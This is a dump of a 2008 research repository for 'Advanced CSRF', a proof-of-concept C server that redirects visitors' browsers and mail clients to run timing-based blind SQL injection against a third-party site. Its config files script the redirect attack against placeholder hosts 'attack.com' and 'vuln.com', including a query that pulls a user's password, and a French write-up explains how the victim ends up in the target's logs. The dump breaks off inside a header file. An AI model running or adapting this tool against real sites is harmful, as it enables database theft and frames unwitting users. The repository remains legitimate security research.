├── .gitignore ├── server ├── confs │ ├── default │ └── 127.0.0.1 ├── src │ ├── timer.c │ ├── main.c │ ├── blind.h │ ├── parser.c │ ├── misc.c │ ├── client.c │ ├── http.c │ ├── server.h │ ├── session.c │ ├── blind.c │ └── net.c ├── README └── Makefile ├── doc ├── images │ ├── server-demo-www-1.png │ ├── server-demo-www-2.png │ ├── server-demo-www-3.png │ ├── server-demo-www-4.png │ ├── server-demo-www-5.png │ ├── server-demo-www-6.png │ ├── server-demo-www-7.png │ ├── server-demo-www-8.png │ ├── server-demo-www-9.png │ ├── server-demo-gmail-1.png │ ├── server-demo-gmail-10.png │ ├── server-demo-gmail-11.png │ ├── server-demo-gmail-12.png │ ├── server-demo-gmail-13.png │ ├── server-demo-gmail-14.png │ ├── server-demo-gmail-2.png │ ├── server-demo-gmail-3.png │ ├── server-demo-gmail-4.png │ ├── server-demo-gmail-5.png │ ├── server-demo-gmail-6.png │ ├── server-demo-gmail-7.png │ ├── server-demo-gmail-8.png │ ├── server-demo-gmail-9.png │ ├── server-demo-thunderbird-1.png │ ├── server-demo-thunderbird-2.png │ ├── server-demo-thunderbird-3.png │ ├── server-demo-thunderbird-4.png │ ├── server-demo-thunderbird-5.png │ ├── server-demo-thunderbird-6.png │ ├── server-demo-thunderbird-7.png │ └── server-demo-thunderbird-8.png ├── server-demo-fr-mail.html ├── server-demo-fr-mail.md ├── server-demo-fr-gmail.html ├── inject_html.js ├── server-demo-fr-gmail.md ├── fr.md ├── fr.html └── server-demo-fr-www.html ├── papers ├── 2008-Epitech-SecurityLab_AdvancedCSRF.pdf └── SSTIC08_Guasconi-Touron_AdvancedCSRF_slides.pdf ├── README.md ├── License.txt └── poc └── inject_html.js /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | -------------------------------------------------------------------------------- /server/confs/default: -------------------------------------------------------------------------------- 1 | 302 http://attack.com/bg.jpg 2 | FILE default 3 | -------------------------------------------------------------------------------- /doc/images/server-demo-www-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-1.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-2.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-3.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-4.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-5.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-6.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-7.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-8.png -------------------------------------------------------------------------------- /doc/images/server-demo-www-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-www-9.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-1.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-10.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-11.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-12.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-13.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-14.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-2.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-3.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-4.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-5.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-6.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-7.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-8.png -------------------------------------------------------------------------------- /doc/images/server-demo-gmail-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-gmail-9.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-1.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-2.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-3.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-4.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-5.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-6.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-7.png -------------------------------------------------------------------------------- /doc/images/server-demo-thunderbird-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/doc/images/server-demo-thunderbird-8.png -------------------------------------------------------------------------------- /papers/2008-Epitech-SecurityLab_AdvancedCSRF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/papers/2008-Epitech-SecurityLab_AdvancedCSRF.pdf -------------------------------------------------------------------------------- /papers/SSTIC08_Guasconi-Touron_AdvancedCSRF_slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/moul/advanced-csrf/master/papers/SSTIC08_Guasconi-Touron_AdvancedCSRF_slides.pdf -------------------------------------------------------------------------------- /server/src/timer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "server.h" 8 | 9 | double time_get() 10 | { 11 | struct timeval tp; 12 | struct timezone tzp; 13 | 14 | if (gettimeofday(&tp, &tzp) < 0) 15 | { 16 | perror("gettimeofday"); 17 | exit(1); 18 | } 19 | return (tp.tv_sec + ((double)tp.tv_usec / 1000000)); 20 | } 21 | -------------------------------------------------------------------------------- /server/confs/127.0.0.1: -------------------------------------------------------------------------------- 1 | 302 http://attack.com/a.jpg 2 | 302 http://attack.com/a.jpg 3 | 302 http://attack.com/a.jpg 4 | 301 http://attack.com/b.jpg 5 | 301 http://attack.com/b.jpg 6 | 404 7 | 301 http://attack.com/c.jpg 8 | BLIND http://vuln.com/sql_injection.php?uid=%s SELECT+password+FROM+users+WHERE+uid=1 9 | 301 http://attack.com/c.jpg 10 | 301 http://attack.com/c.jpg 11 | 301 http://attack.com/c.jpg 12 | 301 http://attack.com/c.jpg 13 | 301 http://attack.com/c.jpg 14 | 301 http://attack.com/c.jpg 15 | 301 http://attack.com/c.jpg 16 | FILE default 17 | -------------------------------------------------------------------------------- /server/README: -------------------------------------------------------------------------------- 1 | 2 | // Epitech : Security lab 3 | // Manfred Touron 4 | 5 | // 2008 6 | 7 | This server has been tested under FreeBSD 8 and MacOS 10.4, 8 | it's written in C. 9 | 10 | Its goal is to emulate 302 HTTP redirections when requesting. 11 | Its a Proof of Concept. Some exemples of scripts are in confs/. 12 | (You can find an exemple of a blind attack) 13 | 14 | For more advanced explainations on what's about, fetch the 15 | paper called "Advanced CSRF for Fun (and profit)" (French/English) : 16 | http://esl.epitech.net/acsrf 17 | or write us an email at esl@epitech.net 18 | -------------------------------------------------------------------------------- /server/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "server.h" 7 | 8 | static struct s_context *g_context; 9 | 10 | int main(int argc, char **argv) 11 | { 12 | t_context context; 13 | 14 | if (argc < 2) 15 | { 16 | (void) usage(argv[0]); 17 | return (1); 18 | } 19 | VERBOSE(printf("[+] Initialisation\n")); 20 | init(&context); 21 | net_init(&context, atoi(argv[1])); 22 | VERBOSE(printf("[+] Server's listening...\n")); 23 | main_loop(&context); 24 | return (0); 25 | } 26 | 27 | void init(t_context *context) 28 | { 29 | g_context = context; 30 | get_context_ptr(context); 31 | context->fd = -1; 32 | context->clients = NULL; 33 | context->sessions = NULL; 34 | chdir("confs"); 35 | } 36 | 37 | t_context *get_context_ptr(t_context *ctx) 38 | { 39 | static t_context *ptr = (t_context *)-1; 40 | 41 | if (ptr == (t_context *)-1) 42 | ptr = ctx; 43 | return (ptr); 44 | } 45 | -------------------------------------------------------------------------------- /server/src/blind.h: -------------------------------------------------------------------------------- 1 | #ifndef _BLIND_H 2 | # define _BLIND_H 3 | 4 | # define TIMEOUT_THREAD 0.5 5 | 6 | # define BLIND_TIMEOUT 0.3 7 | # define BLIND_TIMEOUT2 0.7 8 | 9 | # define STR(a) #a 10 | # define XSTR(a) STR(a) 11 | # define APPEND(a, b) a ## b 12 | # define APPEND3(a, b, c) a ## b ## c 13 | 14 | # define BLIND_CHARS_MIN "abcdefghijklmnopqrstuvwxyz" 15 | # define BLIND_CHARS_MAJ "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 16 | # define BLIND_CHARS_NUM "0123456789" 17 | # define BLIND_CHARS_SPEC ",./<>?!@#$%^&*()_+[]{}-='\"\\|`~" 18 | 19 | # define BLIND_CHARS BLIND_CHARS_MIN 20 | 21 | # define BCHR(pos) (char)((char*)BLIND_CHARS)[(int)pos] 22 | 23 | typedef struct s_blind 24 | { 25 | int nb_threads; 26 | int nb_threads_tmp; 27 | char *result; 28 | int length; 29 | int length_tmp; 30 | 31 | int padding; 32 | 33 | int st_pos; 34 | char st_c; 35 | 36 | char *buf; 37 | int url_size; 38 | int query_size; 39 | 40 | char *url; 41 | char *query; 42 | } t_blind; 43 | 44 | #endif /* !_BLIND_H */ 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ACSRF: Advanced Cross Site Request Forgery 2 | ========================================== 3 | 4 | by Manfred Touron 5 | 6 | Docs & links 7 | ============ 8 | 9 | * [White paper](https://github.com/moul/advanced-csrf/raw/master/papers/2008-Epitech-SecurityLab_AdvancedCSRF.pdf) (french) 10 | * [SSTIC](https://www.sstic.org/) 08' rump session beamer : http://actes.sstic.org/SSTIC08/Rump_sessions/SSTIC08-Rump-Guasconi-Touron_AdvancedCSRF_slides.pdf (french) 11 | * [first documentation](https://github.com/moul/advanced-csrf/blob/master/doc/server-demo-fr-gmail.md) (old & french) 12 | * [SLA.CKERS](http://sla.ckers.org/) forum thread about ACSRF : http://sla.ckers.org/forum/read.php?13,23273 (english) 13 | 14 | 15 | Demos 16 | ===== 17 | 18 | * [via GMail](https://github.com/moul/advanced-csrf/blob/master/doc/server-demo-fr-gmail.md) 19 | * [via ThunderBird](https://github.com/moul/advanced-csrf/blob/master/doc/server-demo-fr-mail.md) 20 | 21 | © 2008 Manfred Touron - [BSD License](https://github.com/moul/advanced-csrf/blob/master/License.txt). 22 | -------------------------------------------------------------------------------- /server/Makefile: -------------------------------------------------------------------------------- 1 | NAME = acsrf 2 | 3 | SRCDIR = ./src 4 | SRC = $(SRCDIR)/main.c \ 5 | $(SRCDIR)/client.c \ 6 | $(SRCDIR)/net.c \ 7 | $(SRCDIR)/parser.c \ 8 | $(SRCDIR)/session.c \ 9 | $(SRCDIR)/timer.c \ 10 | $(SRCDIR)/http.c \ 11 | $(SRCDIR)/blind.c \ 12 | $(SRCDIR)/misc.c 13 | 14 | 15 | CONFDIR = ./confs 16 | 17 | OBJ = $(SRC:.c=.o) 18 | 19 | CC = gcc 20 | 21 | INCLUDE = -I. 22 | LIB = 23 | DEFINES = $(DEBUG) 24 | #DEFINES += -DNVERBOSE 25 | 26 | CFLAGS = $(INCLUDE) \ 27 | -W -Wall -Wstrict-prototypes \ 28 | -ansi -pedantic \ 29 | $(DEFINES) 30 | 31 | LDFLAGS = $(LIB) 32 | 33 | $(NAME) : $(OBJ) 34 | $(CC) -o $@ $(OBJ) $(LDFLAGS) 35 | chmod +x $@ 36 | 37 | all : $(NAME) 38 | 39 | .c.o : 40 | @echo $(CC) -o $@ -c $< $(CFLAGS) 41 | @printf "\033[0;31m" 42 | @$(CC) -o $@ -c $< $(CFLAGS) 43 | @printf "\033[0;0m" 44 | 45 | clean : 46 | rm -f $(OBJ) *~ include/*~ \#* 47 | 48 | fclean : clean 49 | rm -f $(NAME) *.core 50 | # rm -f $(CONFDIR)/out.* 51 | 52 | re : fclean all 53 | 54 | .PHONY : clean fclean re 55 | -------------------------------------------------------------------------------- /doc/server-demo-fr-mail.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | 9 |
10 | 11 |
12 | 13 |
14 | 15 |
16 | 17 |
18 | 19 |
20 | 21 |
22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /doc/server-demo-fr-mail.md: -------------------------------------------------------------------------------- 1 | Demo Thunderbird 2 | ========== 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /License.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2008, Manfred Touron 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 1. Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | 2. Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | 3. All advertising materials mentioning features or use of this software 12 | must display the following acknowledgement: 13 | This product includes software developed by the . 14 | 4. Neither the name of the nor the 15 | names of its contributors may be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY ''AS IS'' AND ANY 19 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 22 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 25 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 27 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /doc/server-demo-fr-gmail.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | 9 |
10 | 11 |
12 | 13 |
14 | 15 |
16 | 17 |
18 | 19 |
20 | 21 |
22 | 23 |
24 | 25 |
26 | 27 |
28 | 29 |
30 | 31 |
32 | 33 |
34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /server/src/parser.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "server.h" 7 | 8 | int cmd_null(t_client *client, char *line) 9 | { 10 | (void)client; 11 | (void)line; 12 | return (1); 13 | } 14 | 15 | int cmd_debug(t_client *client, char *line) 16 | { 17 | (void)client; 18 | (void)line; 19 | VERBOSE(printf("\033[%dm[%03d] < %s\033[m\n", 20 | COLOR(client->fd), client->fd, line)); 21 | return (1); 22 | } 23 | 24 | static struct s_cmd cmds[] = 25 | { 26 | {"GET", cmd_debug}, 27 | {"HOST", cmd_debug}, 28 | 29 | {"ACCEPT", cmd_null}, 30 | {"ACCEPT-LANGUAGE", cmd_null}, 31 | {"ACCEPT-ENCODING", cmd_null}, 32 | {"ACCEPT-CHARSET", cmd_null}, 33 | {"KEEP-ALIVE", cmd_null}, 34 | {"CONNECTION", cmd_null}, 35 | {"USER-AGENT", cmd_null}, 36 | {"REFERER", cmd_null}, 37 | {NULL, NULL} 38 | }; 39 | 40 | int parser(t_client *client, char *line) 41 | { 42 | int i; 43 | 44 | client->session->last = client->fd; 45 | client->session->time = time_get(); 46 | client->time = client->session->time; 47 | for (i = 0; line[i] && line[i] != ' '; i++) 48 | if (line[i] >= 'a' && line[i] <= 'z') 49 | line[i] = line[i] - 'a' + 'A'; 50 | if (line[strlen(line) - 1] == '\r') 51 | line[strlen(line) - 1] = 0; 52 | for (i = 0; cmds[i].command != NULL; i++) 53 | if (!(strncmp(cmds[i].command, line, strlen(cmds[i].command)))) 54 | return (cmds[i].action(client, line)); 55 | if (!strlen(line)) /* FIX: ptet un bug dans le cas du \r */ 56 | { 57 | client->action = ACTION_READY; 58 | return (session_do_step(client)); 59 | } 60 | VERBOSE(printf("Unknown command : [%s]\n", line)); 61 | return (0); 62 | } 63 | -------------------------------------------------------------------------------- /doc/inject_html.js: -------------------------------------------------------------------------------- 1 | 72 | -------------------------------------------------------------------------------- /poc/inject_html.js: -------------------------------------------------------------------------------- 1 | 72 | -------------------------------------------------------------------------------- /server/src/misc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "server.h" 18 | 19 | int file_exists(char *file) 20 | { 21 | return (!access(file, R_OK)); 22 | } 23 | 24 | void usage(char *progname) 25 | { 26 | printf("usage : %s [port]\n", progname); 27 | return ; 28 | } 29 | 30 | int xbind(int server_fd, struct sockaddr *server_sock) 31 | { 32 | if (bind 33 | (server_fd, (struct sockaddr *)server_sock, 34 | sizeof(struct sockaddr_in)) < 0) 35 | { 36 | shutdown(server_fd, 2); 37 | close(server_fd); 38 | perror("bind"); 39 | return (-1); 40 | } 41 | return (0); 42 | } 43 | 44 | int xlisten(int server_fd) 45 | { 46 | if (listen(server_fd, 42) < 0) 47 | { 48 | shutdown(server_fd, 2); 49 | close(server_fd); 50 | perror("listen"); 51 | return (-1); 52 | } 53 | return (0); 54 | } 55 | 56 | int xsocket(struct protoent *pe) 57 | { 58 | int server_fd; 59 | 60 | if ((server_fd = socket(AF_INET, SOCK_STREAM, pe->p_proto)) < 0) 61 | { 62 | perror("socket"); 63 | return (-1); 64 | } 65 | return (server_fd); 66 | } 67 | 68 | int xioctl(t_client *tmp, t_client *client, int *size) 69 | { 70 | if(ioctl(tmp->fd, FIONREAD, size) < 0) 71 | { 72 | perror("ioctl"); 73 | del_the_client(client); 74 | return (1); 75 | } 76 | return (0); 77 | } 78 | 79 | void *xmalloc(unsigned int size) 80 | { 81 | void *tmp; 82 | 83 | if ((tmp = malloc(size)) == NULL) 84 | { 85 | VERBOSE(printf("Out of memory")); 86 | exit(1); 87 | } 88 | return (tmp); 89 | } 90 | -------------------------------------------------------------------------------- /server/src/client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "server.h" 7 | 8 | t_client *add_the_client(t_context *context, int fd, 9 | struct sockaddr_in *in) 10 | { 11 | t_client *tmp; 12 | t_client *tmp_; 13 | 14 | tmp_ = context->clients; 15 | tmp = xmalloc(sizeof(t_client)); 16 | init_client(tmp); 17 | tmp->next = NULL; 18 | tmp->fd = fd; 19 | tmp->action = ACTION_NONE; 20 | tmp->session = session_get(context, in); 21 | tmp->session->active = 1; 22 | tmp->session->time = time_get(); 23 | tmp->session->nb_clients++; 24 | VERBOSE(printf("\033[%d;1m<%03d> - %d clients (new)\033[m\n", 25 | COLOR(tmp->session->id), tmp->session->id, 26 | tmp->session->nb_clients)); 27 | if (!tmp_) 28 | { 29 | context->clients = tmp; 30 | return (tmp); 31 | } 32 | while (tmp_->next) 33 | tmp_ = tmp_->next; 34 | tmp_->next = tmp; 35 | return (tmp); 36 | } 37 | 38 | void del_client(t_client *client) 39 | { 40 | close(client->fd); 41 | client->fd = -1; 42 | if (client->sizein) 43 | free(client->buffin); 44 | if (client->sizeout) 45 | free(client->buffout); 46 | client->buffin = NULL; 47 | client->buffout = NULL; 48 | return ; 49 | } 50 | 51 | void init_client(t_client *client) 52 | { 53 | client->fd = -1; 54 | client->buffin = NULL; 55 | client->buffout = NULL; 56 | client->sizein = 0; 57 | client->sizeout = 0; 58 | client->next = NULL; 59 | } 60 | 61 | void del_the_client(t_client *client) 62 | { 63 | t_client *tmp; 64 | t_client *tmp2; 65 | t_context *context; 66 | 67 | client->session->nb_clients--; 68 | VERBOSE(printf("\033[%dm[%03d] - Disconnected\033[m\n", 69 | COLOR(client->fd), client->fd)); 70 | VERBOSE(printf("\033[%d;1m<%03d> - %d clients (del)\033[m\n", 71 | COLOR(client->session->id), client->session->id, 72 | client->session->nb_clients)); 73 | context = get_context_ptr((t_context *)0); 74 | tmp = context->clients; 75 | if (tmp->fd == client->fd) 76 | { 77 | context->clients = tmp->next; 78 | del_client(tmp); 79 | free(tmp); 80 | return ; 81 | } 82 | tmp2 = context->clients; 83 | tmp = tmp2->next; 84 | while (tmp->fd != client->fd) 85 | { 86 | tmp = tmp->next; 87 | tmp2 = tmp2->next; 88 | } 89 | tmp2->next = tmp->next; 90 | del_client(tmp); 91 | free(tmp); 92 | return ; 93 | } 94 | -------------------------------------------------------------------------------- /doc/server-demo-fr-gmail.md: -------------------------------------------------------------------------------- 1 | Demo GMAIL 2 | ========== 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /server/src/http.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "server.h" 8 | 9 | int http_send_302(t_client *client, char *location, int debug) 10 | { 11 | static char *buf = 0; 12 | 13 | if (!buf) 14 | buf = xmalloc(sizeof(*buf) * BUF_SIZE); 15 | if (client->action != ACTION_READY) 16 | return (0); 17 | client->action = ACTION_DONE; 18 | sprintf(buf, "Location: %s\r\n", location); 19 | 20 | tunneling_line(client, "HTTP/1.1 302 Found\r\n", debug); 21 | tunneling_line(client, buf, debug); 22 | tunneling_line(client, "Cache-Control: private\r\n", 0); 23 | tunneling_line(client, "Content-Type: text/html; charset=UTF-8\r\n", 0); 24 | tunneling_line(client, "Server: toto\r\n", 0); 25 | tunneling_line(client, "Content-Length: 3\r\n", 0); 26 | tunneling_line(client, "\r\n", 0); 27 | tunneling_line(client, "302\r\n", 0); 28 | tunneling_line(client, "\r\n", 0); 29 | tunneling_line(client, "\r\n", 0); 30 | if (debug) 31 | write(client->session->conf.fd_out, location, strlen(location)); 32 | client->session->attack.time = time_get(); 33 | return (1); 34 | } 35 | 36 | int http_send_301(t_client *client, char *location, int debug) 37 | { 38 | static char *buf = 0; 39 | 40 | if (!buf) 41 | buf = xmalloc(sizeof(*buf) * BUF_SIZE); 42 | if (client->action != ACTION_READY) 43 | return (0); 44 | client->action = ACTION_DONE; 45 | sprintf(buf, "Location: %s\r\n", location); 46 | tunneling_line(client, "HTTP/1.1 301 Moved Permanently\r\n", 1); 47 | tunneling_line(client, buf, 1); 48 | tunneling_line(client, "Cache-Control: private\r\n", 0); 49 | tunneling_line(client, "Content-Type: text/html; charset=UTF-8\r\n", 0); 50 | tunneling_line(client, "Server: toto\r\n", 0); 51 | tunneling_line(client, "Content-Length: 3\r\n", 0); 52 | tunneling_line(client, "\r\n", 0); 53 | tunneling_line(client, "301\r\n", 0); 54 | tunneling_line(client, "\r\n", 0); 55 | tunneling_line(client, "\r\n", 0); 56 | if (debug) 57 | write(client->session->conf.fd_out, location, strlen(location)); 58 | client->session->attack.time = time_get(); 59 | return (1); 60 | } 61 | 62 | int http_send_404(t_client *client) 63 | { 64 | if (client->action != ACTION_READY) 65 | return (0); 66 | client->action = ACTION_DONE; 67 | tunneling_line(client, "HTTP/1.1 404 Not Found\r\n", 1); 68 | tunneling_line(client, "Cache-Control: private\r\n", 0); 69 | tunneling_line(client, "Content-Type: text/html; charset=UTF-8\r\n", 0); 70 | tunneling_line(client, "Server: toto\r\n", 0); 71 | tunneling_line(client, "Content-Length: 3\r\n", 0); 72 | tunneling_line(client, "\r\n", 0); 73 | tunneling_line(client, "404\r\n", 0); 74 | tunneling_line(client, "\r\n", 0); 75 | tunneling_line(client, "\r\n", 0); 76 | return (1); 77 | } 78 | -------------------------------------------------------------------------------- /doc/fr.md: -------------------------------------------------------------------------------- 1 | ACSRF: Advanced Cross Site Request Forgery 2 | ========================================== 3 | 4 | Introduction 5 | ============ 6 | 7 | Les Advanced CSRF sont nées suite à quelques recherches sur les Cross Site Request Forgery effectuees au sein du lab.

8 | 9 | Les ACSRF sont une utilisation avancée des CSRF; En ajoutant la possibilité de pouvoir récuperer le temps de calcul de la page redirigée, il est alors possible de récuperer des informations provenants d'une base de donnée sur laquelle est connectée une page web contenant une injection SQL. 10 | 11 | Les particularités de ce type d'attaque sont: 12 | 13 | * C'est la victime qui apparait dans les fichiers logs du site contenant l'injection SQL 14 | * Décentralisation d'une attaque 15 | * Difficilement/pas patchable 16 | * Forensics difficile 17 | * Nouveau type d'attaque desormais possible: Sql injections parties administration 18 | 19 | Papiers 20 | ======= 21 | 22 | * 2008-Epitech-SecurityLab_AdvancedCSRF.pdf: Papier technique sur les ACSRF. 23 | * SSTIC08_Guasconi-Touron_AdvancedCSRF_slides.pdf: Rump session presentée lors du SSTIC 2008. 24 | 25 | Preuves de concept 26 | ================== 27 | 28 | * acsrf-server_1.0.tar.bz2 29 | 30 | Serveur multiplexé capable de faire des Advanced CSRF par sessions. 31 | 32 | Le serveur bloque toutes les sockets de l'application sauf une. Il se sert alors de la socket disponible pour redirigée la cible sur l'application à attaquer. 33 | 34 | Il compare ensuite le temps que met la cible pour recontacter le serveur (temps de calcul de la page), il est donc permis de faire des Attaques de type Blind SQL injections. 35 | 36 | Grace à un système de sessions, les attaques peuvent être ciblées (par ips), de programmer plusieurs attaques, de faire des CSRF classiques (sans notion de temps de calcul) ou tout simplement de faire une redirection sur une image existante, ce qui permet de camoufler l'attaque sur une page au rechargement de la page, une fois l'attaque terminée. 37 | 38 | * Example illustré d'attaque via une page html contenant des images. 39 | * Screenshots d'une attaque par email sous thunderbird. 40 | * Screenshots d'une attaque par email sous gmail. 41 | 42 | Il est potentiellement possible de reproduire ce type d'attaques sur d'autres clients/protocoles; Il suffit simplement que ces derniers possedent un nombre de threads limité et qu'ils supportent le chargement d'image externes et donc les redirections HTTP. (nntp, .pdf, .doc, .xls) 43 | 44 | inject_html.js 45 | Proof of concept des blind sql injections basees sur le temps de reponse d'une requete redirigee. 46 | 47 | Ce script se contente de creer un objet image javascript qu'il redirige vers la page a tester, en ajoutant un chronometre avant et apres la redirection vers le site victime. 48 | 49 | Dans cette example encore, c'est le visiteur de la page web qui attaque victim.com et donc apparait dans les logs a notre place. 50 | 51 | Infos 52 | ===== 53 | 54 | Auteur: Manfred Touron 55 | 56 | Avec l'aide de: Vincent Guasconi pour la documentation 57 | 58 | Epitech Security Lab. 59 | -------------------------------------------------------------------------------- /server/src/server.h: -------------------------------------------------------------------------------- 1 | #ifndef _SERVER_H 2 | # define _SERVER_H 3 | 4 | /**********************/ 5 | /* INCLUDES 